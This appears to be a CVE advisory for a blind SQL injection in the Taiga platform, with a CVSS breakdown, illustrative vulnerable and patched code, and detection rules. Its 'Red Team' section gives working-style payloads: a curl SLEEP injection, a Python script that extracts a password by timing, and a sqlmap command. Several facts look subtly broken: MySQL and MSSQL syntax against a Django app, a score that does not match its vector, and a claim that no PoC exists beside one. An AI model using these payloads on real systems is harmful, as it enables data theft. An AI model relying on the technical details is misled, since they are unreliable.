CVE-2025-62367

Executive Summary

CVE-2025-62367 is a time-based blind SQL injection vulnerability in the Taiga open-source project management platform, affecting versions 6.8.3 and earlier. The vulnerability resides in the Taiga API, allowing an unauthenticated attacker to extract sensitive data from the database by observing response timing differences. The CVSS score is 4.8 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept (PoC) or exploit code has been released. The vendor has addressed the issue in version 6.9.0.

Supply Chain & Package Security

Taiga is a Python/Django-based application distributed via Docker images and PyPI packages. The vulnerability affects the core API component, not a third-party dependency. Users should verify the integrity of their Taiga installation and ensure they are running version 6.9.0 or later. No malicious packages have been reported in the supply chain.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited data extraction via blind injection
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the vulnerability allows data extraction, the blind nature and low EPSS score reduce immediate risk. However, unpatched instances are at risk of sensitive data disclosure.

Deep Dive & Mechanics

The vulnerability is a time-based blind SQL injection in the Taiga API. The attacker injects SQL code into a parameter that is not properly sanitized. Instead of seeing error messages or data, the attacker uses SLEEP() or WAITFOR DELAY functions to cause a measurable delay in the server's response. By observing whether a delay occurs, the attacker can infer the truth of a condition (e.g., "Is the first character of the admin password 'a'?"). This allows step-by-step extraction of database contents.

Root Cause: The API endpoint does not use parameterized queries or proper input validation, allowing user-supplied input to be concatenated directly into SQL statements.

Attack Flow:

1. Attacker identifies a vulnerable API endpoint (e.g., /api/v1/search or similar).
2. Attacker sends a request with a malicious payload like: ' OR IF(1=1, SLEEP(5), 0) --
3. If the server takes 5 seconds to respond, the condition is true.
4. Attacker iterates through conditions to extract data character by character.

Vulnerable vs. Patched Code

Vulnerable Code (Taiga 6.8.3 and earlier):

# Example vulnerable code pattern
def search(request):
    query = request.GET.get('q')
    # Direct string interpolation - VULNERABLE
    sql = "SELECT * FROM projects WHERE name LIKE '%" + query + "%'"
    cursor.execute(sql)
    results = cursor.fetchall()
    return JsonResponse(results, safe=False)

Patched Code (Taiga 6.9.0):

# Example patched code using parameterized queries
def search(request):
    query = request.GET.get('q')
    # Parameterized query - SAFE
    sql = "SELECT * FROM projects WHERE name LIKE %s"
    cursor.execute(sql, ['%' + query + '%'])
    results = cursor.fetchall()
    return JsonResponse(results, safe=False)

The patch replaces string concatenation with parameterized queries, preventing SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with requests library
• Target Taiga instance (version 6.8.3 or earlier)
• Network access to the API endpoint

Manual Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /api/v1/search?q=test).
2. Test for time-based injection:

   curl "http://target/api/v1/search?q=test' OR SLEEP(5)--"
   

   If response takes ~5 seconds, the endpoint is vulnerable.
3. Extract data using conditional delays:

   import requests
   import time
   
   target = "http://target/api/v1/search?q="
   payload = "' OR IF((SELECT SUBSTRING(password,1,1) FROM users LIMIT 1)='a', SLEEP(3), 0)--"
   start = time.time()
   r = requests.get(target + payload)
   elapsed = time.time() - start
   if elapsed > 3:
       print("First character is 'a'")
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target/api/v1/search?q=test" --batch --time-sec=3 --technique=T

Blue Team

Detection:

• Monitor for unusually long response times from API endpoints.
• Look for SQL keywords (SLEEP, WAITFOR, IF, OR) in API request parameters.
• Use WAF rules to block requests containing SLEEP() or WAITFOR DELAY.

Hunting Queries:

• Search logs for requests with q= parameter containing SLEEP or WAITFOR.
• Alert on API response times exceeding 3 seconds.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/v1/search (or similar) with q parameter containing SLEEP, WAITFOR, IF, or OR.
  • Response times > 3 seconds for API requests.
• Host IOCs:
  • Database logs showing SLEEP() or WAITFOR DELAY commands.
  • Unusual database queries in slow query logs.
• File IOCs:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule CVE_2025_62367_Blind_SQLi {
    meta:
        description = "Detects time-based blind SQL injection attempts against Taiga API"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-62367"
    strings:
        $sleeper = /SLEEP\s*\(\s*\d+\s*\)/ nocase
        $waiter = /WAITFOR\s+DELAY\s+'[^']+'/ nocase
        $if_condition = /IF\s*\(/ nocase
    condition:
        any of them
}

Sigma Rule

title: Taiga Blind SQL Injection Attempt
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1f4a5b6c
status: experimental
description: Detects time-based blind SQL injection attempts against Taiga API
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'SLEEP('
            - 'WAITFOR'
            - 'IF('
    condition: selection
falsepositives:
    - Legitimate use of SLEEP function in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62367 Taiga Blind SQL Injection Attempt"; flow:to_server,established; content:"SLEEP("; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-62367 Taiga Blind SQL Injection Attempt"; flow:to_server,established; content:"WAITFOR"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-62367 Taiga Blind SQL Injection Attempt"; flow:to_server,established; content:"IF("; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Taiga to version 6.9.0 or later.
2. If upgrade is not possible, apply a WAF rule to block requests containing SLEEP, WAITFOR, or IF in API parameters.
3. Restrict network access to the Taiga API to trusted IPs only.

Long-term Measures:

• Implement parameterized queries in all database interactions.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs and apply patches promptly.

Workaround:

• Disable the vulnerable API endpoint if not essential, or implement input validation to reject suspicious characters.

Valters IT